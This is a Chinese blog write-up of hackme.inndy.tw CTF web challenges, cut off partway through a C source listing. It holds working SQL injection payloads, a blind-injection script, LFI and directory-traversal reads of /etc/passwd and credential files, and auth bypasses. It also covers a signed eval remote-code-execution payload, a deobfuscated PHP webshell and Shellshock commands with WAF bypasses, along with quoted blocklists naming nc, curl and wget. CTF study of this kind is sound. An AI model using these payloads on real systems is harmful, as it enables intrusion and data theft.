sky's blog

hackme网站边做边记录

字数统计: 5,606阅读时长: 29 min
2018/01/07 Share

WEB

hide and seek

查看源代码即可

guestbook

简单注入
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1
可以得到数据库名guestbook

1
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1

得到表名flag

1
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1

得到字段名flag

1
https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1

即可拿到flag

LFI

随便点击出现:
https://hackme.inndy.tw/lfi/?page=pages/index
根据题目名可以知道是读文件
所以读:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
得到

1
Can you read the flag<?php require('config.php'); ?>?

再读
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
即可

homepage

注意源代码151行

1
<script src="cute.js"></script>

跟进

1
https://hackme.inndy.tw/cute.js

发现是aaencode
解密得到二维码,扫描即可

ping

发现黑名单

1
2
3
4
5
6
7
8
9
10
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];

发现没有过滤反引号
尝试反引号ls反引号
可以得到

1
2
ping: unknown host flag.php
index.php

发现sort没有过滤,并且利用?通配

1
反引号sort ????????反引号

即可

scoreboard

抓包发现http头里的x-flag有flag

login as admin 0

注意到过滤

1
2
3
4
5
6
7
8
9
10
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}

最后将单引号变成\\'
所以容易构造payload:

1
2
username = admin\' || 1=1#
password = 1

进入的是guest,所以admin应该是第二行
所以payload:

1
2
username = admin\' || 1=1 limit 1,1#
password = 1

得到flag

login as admin 0.1

admin\' union select 1,2,3,4#
发现2会回显
构造admin\' union select 1,database(),3,4#
数据库名login_as_admin0
故此

1
admin\' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),3,4#

发现表名h1dden_f14g

1
admin\' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x68316464656e5f66313467 limit 0,1),3,4#

发现字段名the_f14g

1
admin\' union select 1,(select the_f14g from h1dden_f14g limit 0,1),3,4#

拿到flag

Login as Admin 1

关注过滤

1
2
3
4
5
6
7
8
9
10
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}

多了个空格过滤,用/**/绕过即可,对于union select等过滤也十分不严谨,所以修改上题payload即可

1
admin\'/**/or/**/1/**/limit/**/0,1#

即可

login as admin 1.2

这次union select不会回显了,选择盲注
但是太卡了……我就没跑……大致脚本如下,测试数据库名正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "https://hackme.inndy.tw/login1/index.php"
flag = ""
for i in range(1,100):
for j in range(33,127):
payload = "admin\\'/**/or/**/(ascii(substr((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),%s,1))=%s)/**/limit/**/0,1#"%(i,j)
data = {
"name":payload,
"password":"1"
}
r = requests.post(url=url,data=data)
if "You are not admin!" in r.content:
flag += chr(j)
print flag
break

login as admin 3

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function load_user()
{
global $secret, $error;

if(empty($_COOKIE['user'])) {
return null;
}

$unserialized = json_decode(base64_decode($_COOKIE['user']), true);
$r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];

if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
$error = 'Invalid session';
return false;
}

$data = json_decode($unserialized['data'], true);
return [
'name' => $data[0],
'admin' => $data[1]
];
}

发现存在弱比较:
我们只要构造出sig=0即可轻松绕过消息认证码检测:
hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']
所以构造如下:

1
2
3
4
5
6
7
8
9
function set_user()
{
$user = ['admin',true];
$data = json_encode($user);
$sig = 0;
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
echo $all;
}
set_user();

所以cookie里添加user=eyJzaWciOjAsImRhdGEiOiJbXCJhZG1pblwiLHRydWVdIn0=刷新即可得到flag

login as admin 4

代码逻辑问题,用户名为admin直接可以成功
直接curl -d "name=admin" https://hackme.inndy.tw/login4/
即可获取flag

login as admin 6

发现关键代码

1
2
3
4
5
6
7
8
9
10
11
if(!empty($_POST['data'])) {
try {
$data = json_decode($_POST['data'], true);
} catch (Exception $e) {
$data = [];
}
extract($data);
if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;
}
}

其中可以变量覆盖:

1
extract($data);

所以我们构造:

1
data = {"users":{"admin":"sky"},"username":"admin","password":"sky"}

即可绕过,并且成功登陆

login as admin 7

0e开头的md5弱比较
选择:

1
2
name = admin
password = QNKCDZO

即可

dafuq-manager 1

将cookie中的show_hidden改为yes即可

dafuq-manager 2

典型的代码审计题目,题目要求我们以管理员身份登入即可获得flag
审计代码,首先从入口index.php开始

1
2
3
4
case "admin":
require "./core/fun_admin.php";
show_admin($GLOBALS["dir"]);
break;

跟进这里的show_admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function show_admin($dir) {
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);
if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]);
if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"];
elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"];
else $action2 = "";
switch ($action2) {
case "chpwd":
if (!$pwd) show_error($GLOBALS["error_msg"]["accessfunc"]);
changepwd($dir);
break;
case "adduser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
adduser($dir);
break;
case "edituser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
edituser($dir);
break;
case "rmuser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
removeuser($dir);
break;
default:
if (!$pwd && !$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
admin($admin, $dir);
}
}

想成为admin必须满足

1
2
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);

于是我们搜索$GLOBALS["permissions"]的赋值
在/core/fun_users.php里发现

1
2
3
4
5
6
7
8
9
10
11
12
function activate_user($user, $pass) {
$data = find_user($user, $pass);
if ($data == NULL) return false;
$GLOBALS['__SESSION']["s_user"] = $data[0];
$GLOBALS['__SESSION']["s_pass"] = $data[1];
$GLOBALS["home_dir"] = $data[2];
$GLOBALS["home_url"] = $data[3];
$GLOBALS["show_hidden"] = $data[4];
$GLOBALS["no_access"] = $data[5];
$GLOBALS["permissions"] = $data[6];
return true;
}

可以发现赋值来源于$data[6]
$data = find_user($user, $pass)
所以我们跟进find_user()函数
还是在这个文件中

1
2
3
4
5
6
7
8
9
10
11
function &find_user($user, $pass) {
$cnt = count($GLOBALS["users"]);
for ($i = 0;$i < $cnt;++$i) {
if ($user == $GLOBALS["users"][$i][0]) {
if ($pass == NULL || ($pass == $GLOBALS["users"][$i][1] && $GLOBALS["users"][$i][7])) {
return $GLOBALS["users"][$i];
}
}
}
return NULL;
}

可以发现来源于$GLOBALS["users"]
我们找到这个变量的赋值
可以在/.config/.htusers.php中发现

1
2
3
4
<?php
$GLOBALS["users"] = array(
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1),
);

然而源码泄露中,这个文件中只给出了guest的值,所以我们下面要做的是去读文件,得到admin的密码
首先查找读文件的函数:
/core/fun_down.php可以发现一处readfile()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function download_item($dir, $item) {
$item = basename($item);
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$abs_item = get_abs_item($dir, $item);
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$browser = id_browser();
header('Content-Type: ' . (($browser == 'IE' || $browser == 'OPERA') ? 'application/octetstream' : 'application/octet-stream'));
header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($abs_item));
if ($browser == 'IE') {
header('Content-Disposition: attachment; filename="' . $item . '"');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
} else {
header('Content-Disposition: attachment; filename="' . $item . '"');
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');
}
@readfile($abs_item);
exit;
}

我们看一下处理
关键行

1
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

这里对文件进行过滤,而我们要读的路径正是/.config/.htusers.php
所以这里的下载文件功能无法完成我们的目的
接着寻找
/core/fun_edit.php中发现端倪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function edit_file($dir, $item) {
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$fname = get_abs_item($dir, $item);
if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]);
if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") {
$item = basename(stripslashes($GLOBALS['__POST']["fname"]));
$fname2 = get_abs_item($dir, $item);
if (!isset($item) || $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]);
if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]);
savefile($dir, $fname2);
$fname = $fname2;
}
$fp = @fopen($fname, "r");
if ($fp === false) show_error($item . ": " . $GLOBALS["error_msg"]["openfile"]);
$s_item = get_rel_item($dir, $item);
if (strlen($s_item) > 50) $s_item = "..." . substr($s_item, -47);
show_header($GLOBALS["messages"]["actedit"] . ": /" . $s_item); ?>

我们逐句分析:
第一个判断:

1
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);

我们guest的$GLOBALS[“permissions”]是1,显然满足
第二个判断

1
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);

仅仅检测路径文件是否存在,这里不是安全防护,所以暂不用看
第三个判断

1
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

我们跟进get_show_item()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get_show_item($dir, $item) {
if ($item == "." || $item == "..") return false;
if ($_COOKIE['help'] == 'me') {
$_COOKIE['help'] = null;
setcookie('help', '', time() - 9999999999);
echo '<script>alert("Very good. You know how to create cookie. How about tamper a cookie?")</script>';
}
if (empty($_COOKIE['show_hidden'])) {
setcookie('show_hidden', 'no', time() + 3600);
}
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;
if ($GLOBALS["no_access"] != "" && @eregi($GLOBALS["no_access"], $item)) return false;
if ($GLOBALS["show_hidden"] == false) {
$dirs = explode("/", $dir);
foreach ($dirs as $i) if (substr($i, 0, 1) == ".") return false;
}
return true;
}

发现这里的防御十分不严谨,对$item的变量防护仅仅停留在

1
2
if ($item == "." || $item == "..") return false;
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;

这样的绕过十分容易
构造:

1
item = /../../../../../etc/passwd

即可造成目录穿越读取任意文件
我们尝试:

1
2
https://dafuq-manager.hackme.inndy.tw/index.php?action=edit&item=
/../../../../../../var/www/webhdisk/.config/.htusers.php

发现文件读取成功

1
2
3
4
5
6
<?php
$GLOBALS["users"] = array(
array("adm1n15trat0r", "34af0d074b17f44d1bb939765b02776f", "./data", "https://dafuq-manager.hackme.inndy.tw/data", 1, "^.ht", 7, 1),
array("inndy", "fc5e038d38a57032085441e7fe7010b0", "./data/inndy", "https://dafuq-manager.hackme.inndy.tw/data/inndy", 0, "^.ht", 1, 1),
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://dafuq-manager.hackme.inndy.tw/data/guest", 0, "^.ht", 1, 1),
);

此时我们拿到了管理员密码的md5,解md5

1
2
34af0d074b17f44d1bb939765b02776f
how do you turn this on

随即登录

1
2
adm1n15trat0r
how do you turn this on

即可拿到flag

dafuq-manager 3

这一问是让我们找到网站的命令执行问题,拿到shell
我们审计代码,在/core/fun_debug.php发现了问题
关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) {
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}

我们逐个分析
这里需要我们绕过

1
2
3
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}

而我们知道strcmp的黑魔法,可以用数组绕过,例如dir[]=1
然后是cmd参数,需要我们的base64的命令,并且和hmac消息验证码拼接
这里代码中给出了生成的函数

1
2
3
4
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}

我们直接调用即可
然后关注到黑名单过滤

1
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);

这里虽然存在一些过滤,但是我们可以用base64编码绕过
所以我的攻击脚本如下

1
2
3
4
5
6
7
8
<?php 

function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3');
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command('$a=\'ass\';$b=\'ert\';$c=$a.$b;$c(base64_decode(\'c3lzdGVtKCcuL2ZsYWczL21lb3cgLi9mbGFnMy9mbGFnMycp\'));');
?>

这里容易探测到flag存在于当前目录的flag3文件夹下,但是直接读取无法读到
必须要用系统命令执行他这个文件夹下的c文件,而用这个base64绕过方法刚好可以轻松绕过,执行系统命令

wordpress 1

web-security-course-game2\wordpress\wp-content\plugins\core.php
发现问题

1
2
3
4
5
6
7
8
9
10
11
12
function print_f14g()
{
$h = 'm'.sprintf('%s%d','d',-4+9e0);
if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') {
if(wp_get_user_ip() === '127.0.0.1') {
eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT)));
} else {
die('</head><body><h1>Sorry, Only admin from localhost can get flag');
}
}
}
add_action('wp_head', 'print_f14g');

于是构造
https://wp.hackme.inndy.tw/?passw0rd=cat%20flag
访问发现

1
Sorry, Only admin from localhost can get flag

跟一下限制wp_get_user_ip()
发现

1
2
3
4
5
6
7
8
9
function wp_get_user_ip() {
$ip = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
return $ip;
}

可以用xff绕过,所以得到payload

1
curl -H "X-Forwarded-For=127.0.0.1" 'https://wp.hackme.inndy.tw/?passw0rd=cat flag'|grep flag

运行即可拿到flag

wordpress 2


1
wordpress\wp-content\themes\astrid\template-parts\content-search.php

找到可疑操作

1
<!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> -->

又找到2013年10月的一篇文章为flag2,是有密码的,利用这个后门突破密码限制
直接访问

1
view-source:https://wp.hackme.inndy.tw/archives/date/2013/10?s=&debug=content

答案就在源代码里

webshell

查看源代码发现可疑代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php $cation = "St\x72\x5fr\x4ft\x313";
$e_obfus="b\x41Se\x364\x5f\x44e\x43ode";
$e_cod = "g\x5ainfl\x41t\x45" ; $sourc =
"St\x72\x72\x45v"; @eval ($sourc($e_cod(
$e_obfus($cation("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));

解第一层得到:

1
2
3
4
5
6
7
8
9
10
11
12
@eval (StrrEv(gZinflAtE(
bASe64_DeCode(Str_rOt13("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));

发现是gZinflAtE(bASe64_DeCode(''))形式的后门,这里直接输出

1
2
3
4
5
6
7
8
9
10
11
12
echo (StrrEv(gZinflAtE(
bASe64_DeCode(Str_rOt13("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));

把eval换成echo即可
可以得到解密后文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function run()
{
if (isset($_GET['cmd']) && isset($_GET['sig'])) {
$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string) $_GET['cmd'];
$key = $_SERVER['HTTP_USER_AGENT'] . sha1($_SERVER['HTTP_HOST']);
$sig = hash_hmac('SHA512', $cmd, $key);
if ($sig === (string) $_GET['sig']) {
header('Content-Type: text/plain');
return !!system($cmd);
}
}
return false;
}
function fuck()
{
print str_repeat("\n", 4096);
readfile($_SERVER['SCRIPT_FILENAME']);
}
run() ?: fuck();

很简单,想要执行命令就要绕过
$sig === (string) $_GET['sig']
而这个的生成也非常容易,我们在服务器上放脚本

1
2
3
4
5
6
7
8
9
<?php
$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string)$_GET['sky'];
$true_cmd = $_GET['sky'];
$key = $_SERVER['HTTP_USER_AGENT'] . sha1('webshell.hackme.inndy.tw');
$sig = hash_hmac('SHA512', $true_cmd, $key);
echo urlencode($cmd);
echo '<br>';
echo $sig;
?>

然后用这个脚本生成payload即可
最后题目的flag用了隐藏文件,ls -al即可看见

1
2
3
4
5
6
7
8
9
total 32
drwxr-xr-x 2 root root 4096 Jan 19 07:30 .
drwxr-xr-x 6 root root 4096 Jan 19 07:30 ..
-rw-r--r-- 1 root root 40 Jan 11 19:33 .htflag
-rw-r--r-- 1 root root 13 Jan 11 19:28 flag
-rw-r--r-- 1 root root 612 Jan 19 07:23 index.nginx-debian.html
-rw-r--r-- 1 root root 603 Jan 19 07:30 index.php
-rw-r--r-- 1 root root 72 Jan 11 19:46 ip.php
-rw-r--r-- 1 root root 48 Jan 19 07:22 robots.txt

真的flag藏在了.htflag

command-executor

给出题目链接:

1
https://command-executor.hackme.inndy.tw/

个人认为这是一道非常好的题目,首先说一下考察点

1
2
3
4
5
6
1.文件包含读源码
2.代码分析结合CVE
3.CVE导致的命令执行
4.写入文件/反弹shell
5.思考c文件的解法
6.重定向获取flag

拿到题目后随便点一点:

1
2
3
https://command-executor.hackme.inndy.tw/index.php?func=ls
https://command-executor.hackme.inndy.tw/index.php?func=cmd
https://command-executor.hackme.inndy.tw/index.php?func=untar

然后在
.png)
发现可以遍历目录,但限制的很死,只能执行ls和env,但是此时发现了有趣的一点

1
2
3
4
5
-rw-r--r-- 1 root root   1163 Jan  9 11:05 cmd.php
-rw-r--r-- 1 root root 2201 Jan 9 11:32 index.php
-rw-r--r-- 1 root root 515 Jan 9 11:05 ls.php
-rw-r--r-- 1 root root 658 Jan 19 08:25 man.php
-rw-r--r-- 1 root root 588 Jan 9 11:05 untar.php

这里的ls,untar,cmd很可能是前面func参数包含进来的
随即想到试一试文件包含,看看可否读文件

1
https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index

果不其然,可以拿到文件源码,这里给出最关键的index.php,其余的帮助并不大
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

注意到一个很可疑的函数putenv()
结合env可以很快联想到2014年的一个重大漏洞:

1
2
CVE-2014-6271
破壳(ShellShock)漏洞

给出Freebuf的分析链接

1
http://www.freebuf.com/articles/system/45390.html

确定了漏洞,就是尝试可用exp的时候了,这时候可以容易google到
这样一篇文章:

1
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php

其中重点的一段如下:

可以清楚看到这样一个payload:

1
wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

并且和这个测试样本和我们题目中给出的代码十分相似:

1
2
3
4
5
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

于是我们先去尝试一下适用性:
.png)
可以发现我们被waf拦截了:

1
\(\)\s*\{\s*:;\s*\}; detected! exit now.

回去分析index.php的waf过滤点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

可以看到如上一个黑名单,
我们的

1
X-Exploit: () { :; };

正是被这个黑名单禁止了,但是这样的waf存在极大隐患,我们只要加个空格就可以轻松绕过:

1
X-Exploit: () { : ; };

我们再次攻击一次试试:

1
wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

.png)
可以看到Hacked成功回显
于是我们开始执行命令,需要注意的是,shellshock执行命令,需要加上/bin/
比如cat命令要写成/bin/cat
直接cat是不能成功的
于是我们尝试读/etc/passwd

1
wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

.png)
可以发现命令成功执行,所以下面我们的思路很清晰,找到flag并读取就行了
而之前提到,这个题目本身自带ls,所以可以轻松查目录,容易发现flag在根目录

1
2
3
4
5
https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../

-r-------- 1 flag root 37 Jan 9 11:05 flag
-rwsr-xr-x 1 flag root 9080 Jan 19 08:27 flag-reader
-rw-r--r-- 1 root root 653 Jan 9 11:05 flag-reader.c

我们尝试cat一下flag文件

1
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

此时又触发了waf
回显打出

1
\/flag detected! exit now.

我们依旧被上面那个黑名单给禁止了!
那么有没有办法绕过/flag呢?
这里给出2个思考路线:

1
2
1.shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下)
2.通配符绕过

这里我选择第二点:

1
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

但这次并没有回显打出,回去查看文件权限

1
-r--------   1 flag root   37 Jan  9 11:05 flag

发现只有root才能读
这时就郁闷了,但是下面还有一个c写的flag-reader引起了我的关注,我们读一下他

1
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

打出回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {
